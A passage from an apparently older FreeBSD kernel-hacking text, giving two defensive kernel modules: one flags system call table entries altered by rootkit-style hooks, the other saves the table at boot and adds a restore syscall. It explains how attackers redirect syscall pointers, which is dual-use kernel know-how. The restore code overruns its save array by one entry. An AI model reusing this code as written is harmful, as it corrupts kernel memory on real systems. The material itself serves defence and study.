	    Those of  you common  with kernel  hacking know  that nearly every
	    module that  does something  useful for  a hacker  must modify the
	    kernel system call  table.  [Note:  As said in  introduction there
	    are lots  of ways  to attack  FreeBSD without  patching the system
	    call  table,  but  ...  wait  for  a further release of this text]
	    Those  changes  are  needed  to  intercept  and  manipulate system
	    calls.  Of course there may also be some non-hacking modules  that
	    will change  the global  system call  table (add  a system call or
	    so), but normally those driver modules (for example) don't  change
	    existing system calls.  So we should implement some piece of  code
	    checking  every  system  call  entry  on  a system that is defined
	    during startup for suspicious changes.
	
	    #include <sys/types.h>
	    #include <sys/param.h>
	    #include <sys/proc.h>
	    #include <sys/module.h>
	    #include <sys/sysent.h>
	    #include <sys/kernel.h>
	    #include <sys/systm.h>
	    #include <sys/linker.h>
	    #include <sys/sysproto.h>
	    #include <sys/sysent.h>
	    #include <sys/proc.h>
	    #include <sys/syscall.h>
	    #include <sys/file.h>
	    #include <sys/malloc.h>
	    #include <sys/types.h>
	    #include <sys/lock.h>
	    /*
	     * The function called at load/unload.
	     */
	    static int
	    dummy_handler (struct module *module, int cmd, void *arg)
	    {
	     char error[400];
	     int counter;
	     bzero(&error, sizeof(error));
	     /*this is hard cut & paste coding :-)*/
	     if (sysent[SYS_exit].sy_call!=exit) error[SYS_exit]=1;
	     if (sysent[SYS_fork].sy_call!=fork) error[SYS_fork]=1;
	     if (sysent[SYS_read].sy_call!=read) error[SYS_read]=1;
	     if (sysent[SYS_write].sy_call!=write) error[SYS_write]=1;
	     if (sysent[SYS_open].sy_call!=open) error[SYS_open]=1;
	     if (sysent[SYS_close].sy_call!=close) error[SYS_close]=1;
	     if (sysent[SYS_wait4].sy_call!=wait4) error[SYS_wait4]=1;
	     if (sysent[SYS_link].sy_call!=link) error[SYS_link]=1;
	     if (sysent[SYS_unlink].sy_call!=unlink) error[SYS_unlink]=1;
	     if (sysent[SYS_chdir].sy_call!=chdir) error[SYS_chdir]=1;
	     if (sysent[SYS_fchdir].sy_call!=fchdir) error[SYS_fchdir]=1;
	     if (sysent[SYS_mknod].sy_call!=mknod) error[SYS_mknod]=1;
	     if (sysent[SYS_chmod].sy_call!=chmod) error[SYS_chmod]=1;
	     if (sysent[SYS_chown].sy_call!=chown) error[SYS_chown]=1;
	     if (sysent[SYS_break].sy_call!=obreak) error[SYS_break]=1;
	     if (sysent[SYS_getfsstat].sy_call!=getfsstat) error[SYS_getfsstat]=1;
	     if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
	     if (sysent[SYS_getpid].sy_call!=getpid) error[SYS_getpid]=1;
	     if (sysent[SYS_mount].sy_call!=mount) error[SYS_mount]=1;
	     if (sysent[SYS_unmount].sy_call!=unmount) error[SYS_unmount]=1;
	     if (sysent[SYS_setuid].sy_call!=setuid) error[SYS_setuid]=1;
	     if (sysent[SYS_getuid].sy_call!=getuid) error[SYS_getuid]=1;
	     if (sysent[SYS_geteuid].sy_call!=geteuid) error[SYS_geteuid]=1;
	     if (sysent[SYS_ptrace].sy_call!=ptrace) error[SYS_ptrace]=1;
	     if (sysent[SYS_recvmsg].sy_call!=recvmsg) error[SYS_recvmsg]=1;
	     if (sysent[SYS_sendmsg].sy_call!=sendmsg) error[SYS_sendmsg]=1;
	     if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
	     if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
	     if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
	     if (sysent[SYS_getsockname].sy_call!=getsockname) error[SYS_getsockname]=1;
	     if (sysent[SYS_access].sy_call!=access) error[SYS_access]=1;
	     if (sysent[SYS_chflags].sy_call!=chflags) error[SYS_chflags]=1;
	     if (sysent[SYS_fchflags].sy_call!=fchflags) error[SYS_fchflags]=1;
	     if (sysent[SYS_sync].sy_call!=sync) error[SYS_sync]=1;
	     if (sysent[SYS_kill].sy_call!=kill) error[SYS_kill]=1;
	     if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
	     if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
	     if (sysent[SYS_dup].sy_call!=dup) error[SYS_dup]=1;
	     if (sysent[SYS_pipe].sy_call!=pipe) error[SYS_pipe]=1;
	     if (sysent[SYS_getegid].sy_call!=getegid) error[SYS_getegid]=1;
	     if (sysent[SYS_profil].sy_call!=profil) error[SYS_profil]=1;
	     if (sysent[SYS_ktrace].sy_call!=ktrace) error[SYS_ktrace]=1;
	     if (sysent[SYS_sigaction].sy_call!=sigaction) error[SYS_sigaction]=1;
	     if (sysent[SYS_getgid].sy_call!=getgid) error[SYS_getgid]=1;
	     if (sysent[SYS_sigprocmask].sy_call!=sigprocmask) error[SYS_sigprocmask]=1;
	     if (sysent[SYS_getlogin].sy_call!=getlogin) error[SYS_getlogin]=1;
	     if (sysent[SYS_setlogin].sy_call!=setlogin) error[SYS_setlogin]=1;
	     if (sysent[SYS_acct].sy_call!=acct) error[SYS_acct]=1;
	     if (sysent[SYS_sigpending].sy_call!=sigpending) error[SYS_sigpending]=1;
	     if (sysent[SYS_sigaltstack].sy_call!=sigaltstack) error[SYS_sigaltstack]=1;
	     if (sysent[SYS_ioctl].sy_call!=ioctl) error[SYS_ioctl]=1;
	     if (sysent[SYS_reboot].sy_call!=reboot) error[SYS_reboot]=1;
	     if (sysent[SYS_revoke].sy_call!=revoke) error[SYS_revoke]=1;
	     if (sysent[SYS_symlink].sy_call!=symlink) error[SYS_symlink]=1;
	     if (sysent[SYS_readlink].sy_call!=readlink) error[SYS_readlink]=1;
	     if (sysent[SYS_execve].sy_call!=execve) error[SYS_execve]=1;
	     if (sysent[SYS_umask].sy_call!=umask) error[SYS_umask]=1;
	     if (sysent[SYS_chroot].sy_call!=chroot) error[SYS_chroot]=1;
	     if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
	     if (sysent[SYS_msync].sy_call!=msync) error[SYS_msync]=1;
	     if (sysent[SYS_vfork].sy_call!=vfork) error[SYS_vfork]=1;
	     if (sysent[SYS_sbrk].sy_call!=sbrk) error[SYS_sbrk]=1;
	     if (sysent[SYS_sstk].sy_call!=sstk) error[SYS_sstk]=1;
	     if (sysent[SYS_vadvise].sy_call!=ovadvise) error[SYS_vadvise]=1;
	     if (sysent[SYS_munmap].sy_call!=munmap) error[SYS_munmap]=1;
	     if (sysent[SYS_mprotect].sy_call!=mprotect) error[SYS_mprotect]=1;
	     if (sysent[SYS_madvise].sy_call!=madvise) error[SYS_madvise]=1;
	     if (sysent[SYS_mincore].sy_call!=mincore) error[SYS_mincore]=1;
	     if (sysent[SYS_getgroups].sy_call!=getgroups) error[SYS_getgroups]=1;
	     if (sysent[SYS_setgroups].sy_call!=setgroups) error[SYS_setgroups]=1;
	     if (sysent[SYS_getpgrp].sy_call!=getpgrp) error[SYS_getpgrp]=1;
	     if (sysent[SYS_setpgid].sy_call!=setpgid) error[SYS_setpgid]=1;
	     if (sysent[SYS_setitimer].sy_call!=setitimer) error[SYS_setitimer]=1;
	     if (sysent[SYS_swapon].sy_call!=swapon) error[SYS_swapon]=1;
	     if (sysent[SYS_getitimer].sy_call!=getitimer) error[SYS_getitimer]=1;
	     if (sysent[SYS_getdtablesize].sy_call!=getdtablesize)
	         error[SYS_getdtablesize]=1;
	      if (sysent[SYS_dup2].sy_call!=dup2) error[SYS_dup2]=1;
	     if (sysent[SYS_fcntl].sy_call!=fcntl) error[SYS_fcntl]=1;
	     if (sysent[SYS_select].sy_call!=select) error[SYS_select]=1;
	     if (sysent[SYS_fsync].sy_call!=fsync) error[SYS_fsync]=1;
	     if (sysent[SYS_setpriority].sy_call!=setpriority) error[SYS_setpriority]=1;
	     if (sysent[SYS_socket].sy_call!=socket) error[SYS_socket]=1;
	     if (sysent[SYS_connect].sy_call!=connect) error[SYS_connect]=1;
	     if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
	     if (sysent[SYS_getpriority].sy_call!=getpriority) error[SYS_getpriority]=1;
	     if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
	     if (sysent[SYS_bind].sy_call!=bind) error[SYS_bind]=1;
	     if (sysent[SYS_setsockopt].sy_call!=setsockopt) error[SYS_setsockopt]=1;
	     if (sysent[SYS_listen].sy_call!=listen) error[SYS_listen]=1;
	     if (sysent[SYS_gettimeofday].sy_call!=gettimeofday) error[SYS_gettimeofday]=1;
	     if (sysent[SYS_getrusage].sy_call!=getrusage) error[SYS_getrusage]=1;
	     if (sysent[SYS_getsockopt].sy_call!=getsockopt) error[SYS_getsockopt]=1;
	     if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
	     if (sysent[SYS_readv].sy_call!=readv) error[SYS_readv]=1;
	     if (sysent[SYS_writev].sy_call!=writev) error[SYS_writev]=1;
	     if (sysent[SYS_settimeofday].sy_call!=settimeofday) error[SYS_settimeofday]=1;
	     if (sysent[SYS_fchown].sy_call!=fchown) error[SYS_fchown]=1;
	     if (sysent[SYS_fchmod].sy_call!=fchmod) error[SYS_fchmod]=1;
	     if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
	     if (sysent[SYS_setreuid].sy_call!=setreuid) error[SYS_setreuid]=1;
	     if (sysent[SYS_setregid].sy_call!=setregid) error[SYS_setregid]=1;
	     if (sysent[SYS_rename].sy_call!=rename) error[SYS_rename]=1;
	     if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
	     if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
	     if (sysent[SYS_flock].sy_call!=flock) error[SYS_flock]=1;
	     if (sysent[SYS_mkfifo].sy_call!=mkfifo) error[SYS_mkfifo]=1;
	     if (sysent[SYS_sendto].sy_call!=sendto) error[SYS_sendto]=1;
	     if (sysent[SYS_shutdown].sy_call!=shutdown) error[SYS_shutdown]=1;
	     if (sysent[SYS_socketpair].sy_call!=socketpair) error[SYS_socketpair]=1;
	     if (sysent[SYS_mkdir].sy_call!=mkdir) error[SYS_mkdir]=1;
	     if (sysent[SYS_rmdir].sy_call!=rmdir) error[SYS_rmdir]=1;
	     if (sysent[SYS_utimes].sy_call!=utimes) error[SYS_utimes]=1;
	     if (sysent[SYS_adjtime].sy_call!=adjtime) error[SYS_adjtime]=1;
	     if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
	     if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
	     if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
	     if (sysent[SYS_quotactl].sy_call!=quotactl) error[SYS_quotactl]=1;
	     if (sysent[SYS_statfs].sy_call!=statfs) error[SYS_statfs]=1;
	     if (sysent[SYS_fstatfs].sy_call!=fstatfs) error[SYS_fstatfs]=1;
	     if (sysent[SYS_getdomainname].sy_call!=getdomainname)
	         error[SYS_getdomainname]=1;
	     if (sysent[SYS_setdomainname].sy_call!=setdomainname)
	         error[SYS_setdomainname]=1;
	     if (sysent[SYS_uname].sy_call!=uname) error[SYS_uname]=1;
	     if (sysent[SYS_sysarch].sy_call!=sysarch) error[SYS_sysarch]=1;
	     if (sysent[SYS_rtprio].sy_call!=rtprio) error[SYS_rtprio]=1;
	     if (sysent[SYS_semsys].sy_call!=semsys) error[SYS_semsys]=1;
	     if (sysent[SYS_msgsys].sy_call!=msgsys) error[SYS_msgsys]=1;
	     if (sysent[SYS_shmsys].sy_call!=shmsys) error[SYS_shmsys]=1;
	     if (sysent[SYS_setgid].sy_call!=setgid) error[SYS_setgid]=1;
	     if (sysent[SYS_setegid].sy_call!=setegid) error[SYS_setegid]=1;
	     if (sysent[SYS_seteuid].sy_call!=seteuid) error[SYS_seteuid]=1;
	     if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
	     if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
	     if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
	     if (sysent[SYS_pathconf].sy_call!=pathconf) error[SYS_pathconf]=1;
	     if (sysent[SYS_fpathconf].sy_call!=fpathconf) error[SYS_fpathconf]=1;
	     if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
	     if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
	     if (sysent[SYS_getdirentries].sy_call!=getdirentries)
	        error[SYS_getdirentries]=1;
	     if (sysent[SYS_mmap].sy_call!=mmap) error[SYS_mmap]=1;
	     if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
	     if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
	     if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
	     if (sysent[SYS___sysctl].sy_call!=__sysctl) error[SYS___sysctl]=1;
	     if (sysent[SYS_mlock].sy_call!=mlock) error[SYS_mlock]=1;
	     if (sysent[SYS_munlock].sy_call!=munlock) error[SYS_munlock]=1;
	     if (sysent[SYS_undelete].sy_call!=undelete) error[SYS_undelete]=1;
	     if (sysent[SYS_futimes].sy_call!=futimes) error[SYS_futimes]=1;
	     if (sysent[SYS_getpgid].sy_call!=getpgid) error[SYS_getpgid]=1;
	     if (sysent[SYS_poll].sy_call!=poll) error[SYS_poll]=1;
	     if (sysent[SYS___semctl].sy_call!=__semctl) error[SYS___semctl]=1;
	     if (sysent[SYS_semget].sy_call!=semget) error[SYS_semget]=1;
	     if (sysent[SYS_semop].sy_call!=semop) error[SYS_semop]=1;
	     if (sysent[SYS_semconfig].sy_call!=semconfig) error[SYS_semconfig]=1;
	     if (sysent[SYS_msgctl].sy_call!=msgctl) error[SYS_msgctl]=1;
	     if (sysent[SYS_msgsnd].sy_call!=msgsnd) error[SYS_msgsnd]=1;
	     if (sysent[SYS_msgrcv].sy_call!=msgrcv) error[SYS_msgrcv]=1;
	     if (sysent[SYS_shmat].sy_call!=shmat) error[SYS_shmat]=1;
	     if (sysent[SYS_shmctl].sy_call!=shmctl) error[SYS_shmctl]=1;
	     if (sysent[SYS_shmdt].sy_call!=shmdt) error[SYS_shmdt]=1;
	     if (sysent[SYS_shmget].sy_call!=shmget) error[SYS_shmget]=1;
	     if (sysent[SYS_clock_gettime].sy_call!=clock_gettime)
	         error[SYS_clock_gettime]=1;
	     if (sysent[SYS_clock_settime].sy_call!=clock_settime)
	        error[SYS_clock_settime]=1;
	     if (sysent[SYS_clock_getres].sy_call!=clock_getres)
	        error[SYS_clock_getres]=1;
	     if (sysent[SYS_nanosleep].sy_call!=nanosleep) error[SYS_nanosleep]=1;
	     if (sysent[SYS_minherit].sy_call!=minherit) error[SYS_minherit]=1;
	     if (sysent[SYS_rfork].sy_call!=rfork) error[SYS_rfork]=1;
	     if (sysent[SYS_openbsd_poll].sy_call!=openbsd_poll)
	        error[SYS_openbsd_poll]=1;
	     if (sysent[SYS_issetugid].sy_call!=issetugid)
	       error[SYS_issetugid]=1;
	     if (sysent[SYS_lchown].sy_call!=lchown) error[SYS_lchown]=1;
	     if (sysent[SYS_getdents].sy_call!=getdents) error[SYS_getdents]=1;
	     if (sysent[SYS_lchmod].sy_call!=lchmod) error[SYS_lchmod]=1;
	     if (sysent[SYS_lutimes].sy_call!=lutimes) error[SYS_lutimes]=1;
	     if (sysent[SYS_modnext].sy_call!=modnext) error[SYS_modnext]=1;
	     if (sysent[SYS_modstat].sy_call!=modstat) error[SYS_modstat]=1;
	     if (sysent[SYS_modfnext].sy_call!=modfnext) error[SYS_modfnext]=1;
	     if (sysent[SYS_modfind].sy_call!=modfind) error[SYS_modfind]=1;
	     if (sysent[SYS_kldload].sy_call!=kldload) error[SYS_kldload]=1;
	     if (sysent[SYS_kldunload].sy_call!=kldunload) error[SYS_kldunload]=1;
	     if (sysent[SYS_kldfind].sy_call!=kldfind) error[SYS_kldfind]=1;
	     if (sysent[SYS_kldnext].sy_call!=kldnext) error[SYS_kldnext]=1;
	     if (sysent[SYS_kldstat].sy_call!=kldstat) error[SYS_kldstat]=1;
	     if (sysent[SYS_kldfirstmod].sy_call!=kldfirstmod) error[SYS_kldfirstmod]=1;
	     if (sysent[SYS_getsid].sy_call!=getsid) error[SYS_getsid]=1;
	     if (sysent[SYS_aio_return].sy_call!=aio_return) error[SYS_aio_return]=1;
	     if (sysent[SYS_aio_suspend].sy_call!=aio_suspend) error[SYS_aio_suspend]=1;
	     if (sysent[SYS_aio_cancel].sy_call!=aio_cancel) error[SYS_aio_cancel]=1;
	     if (sysent[SYS_aio_error].sy_call!=aio_error) error[SYS_aio_error]=1;
	     if (sysent[SYS_aio_read].sy_call!=aio_read) error[SYS_aio_read]=1;
	     if (sysent[SYS_aio_write].sy_call!=aio_write) error[SYS_aio_write]=1;
	     if (sysent[SYS_lio_listio].sy_call!=lio_listio) error[SYS_lio_listio]=1;
	     if (sysent[SYS_yield].sy_call!=yield) error[SYS_yield]=1;
	     if (sysent[SYS_thr_sleep].sy_call!=thr_sleep) error[SYS_thr_sleep]=1;
	     if (sysent[SYS_thr_wakeup].sy_call!=thr_wakeup) error[SYS_thr_wakeup]=1;
	     if (sysent[SYS_mlockall].sy_call!=mlockall) error[SYS_mlockall]=1;
	     if (sysent[SYS_munlockall].sy_call!=munlockall) error[SYS_munlockall]=1;
	     if (sysent[SYS___getcwd].sy_call!=__getcwd) error[SYS___getcwd]=1;
	     if (sysent[SYS_sched_setparam].sy_call!=sched_setparam)
	         error[SYS_sched_setparam]=1;
	     if (sysent[SYS_sched_getparam].sy_call!=sched_getparam)
	         error[SYS_sched_getparam]=1;
	     if (sysent[SYS_sched_setscheduler].sy_call!=sched_setscheduler)
	         error[SYS_sched_setscheduler]=1;
	     if (sysent[SYS_sched_getscheduler].sy_call!=sched_getscheduler)
	         error[SYS_sched_getscheduler]=1;
	     if (sysent[SYS_sched_yield].sy_call!=sched_yield)
	         error[SYS_sched_yield]=1;
	     if (sysent[SYS_sched_get_priority_max].sy_call!=sched_get_priority_max)
	         error[SYS_sched_get_priority_max]=1;
	     if (sysent[SYS_sched_get_priority_min].sy_call!=sched_get_priority_min)
	         error[SYS_sched_get_priority_min]=1;
	     if (sysent[SYS_sched_rr_get_interval].sy_call!=sched_rr_get_interval)
	         error[SYS_sched_rr_get_interval]=1;
	     if (sysent[SYS_utrace].sy_call!=utrace)
	         error[SYS_utrace]=1;
	     if (sysent[SYS_sendfile].sy_call!=sendfile)
	         error[SYS_sendfile]=1;
	     if (sysent[SYS_kldsym].sy_call!=kldsym)
	         error[SYS_kldsym]=1;
	     printf("RESULTS : Modified System Calls \n\n");
	     printf("number   new-addr\n");
	     printf("------   --------\n");
	     for (counter=0; counter <=399; counter++)
	     if (error[counter]==1)
	      printf("%d       %p\n", counter, sysent[counter].sy_call);
	     return 0;
	    }
	    static moduledata_t syscall_mod = {
	     "SysentChecker",
	     dummy_handler,
	     NULL
	    };
	    DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
	
	    Every system call entry  (sysent) has a function  member (sy_call)
	    as you  know. In  order to  modify or  intercept a  system call  a
	    hacker has to  change this address  pointing to his  own function.
	    So  we  only  have  to  check  these addreesses against the system
	    functions (like write for the SYS_write system call) to check  the
	    system.  Average hackers will be stopped with this way of checking
	    system  integrity,  gurus  won't  (you  can  insert  code  without
	    changing the system call table).
	    After detecting a changed system call  table it is a good idea  to
	    restore  the  original  one.   We  dont't  present  you  the  best
	    solution: Start a module on system startup, copy all sysent fields
	    into another sysent  array.  If  you want to  restore every sysent
	    just copy the saved list to the modified sysent list.
	
	    #include <sys/types.h>
	    #include <sys/param.h>
	    #include <sys/proc.h>
	    #include <sys/module.h>
	    #include <sys/sysent.h>
	    #include <sys/kernel.h>
	    #include <sys/systm.h>
	    #include <sys/linker.h>
	    #include <sys/sysproto.h>
	    #include <sys/sysent.h>
	    #include <sys/proc.h>
	    #include <sys/syscall.h>
	    #include <sys/file.h>
	    #include <sys/malloc.h>
	    #include <sys/types.h>
	    #include <sys/lock.h>
	    #define MAX_SYSCALL_NUM 337
	    struct sysent save_sysent[MAX_SYSCALL_NUM];
	    void restoresys(struct proc *p)
	    {
	     int counter;
	     printf("RESTORE\n");
	     for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
	      sysent[counter]=save_sysent[counter];
	    }
	    static struct sysent restoresys_sysent = {
	     0,
	     restoresys
	    };
	    /*
	     * The function called at load/unload.
	     */
	    static int
	    dummy_handler (struct module *module, int cmd, void *arg)
	    {
	     int counter;
	     if (cmd==MOD_LOAD)
	     { for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
	       save_sysent[counter]=sysent[counter];
	      sysent[210]=restoresys_sysent;
	     }
	     return 0;
	    }
	    static moduledata_t syscall_mod = {
	     "SysentRestore",
	     dummy_handler,
	     NULL
	    };
	    DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
	
	    This module should be loaded at system startup (the best would  be
	    loading it  before the  first connect  to the  'hostile' net).  Of
	    course, you should add hiding features to this module.  This  will
	    also  prevent  hackers  from  easily  manipulate  your  own sysent
	    restore list.
	

Internet highlights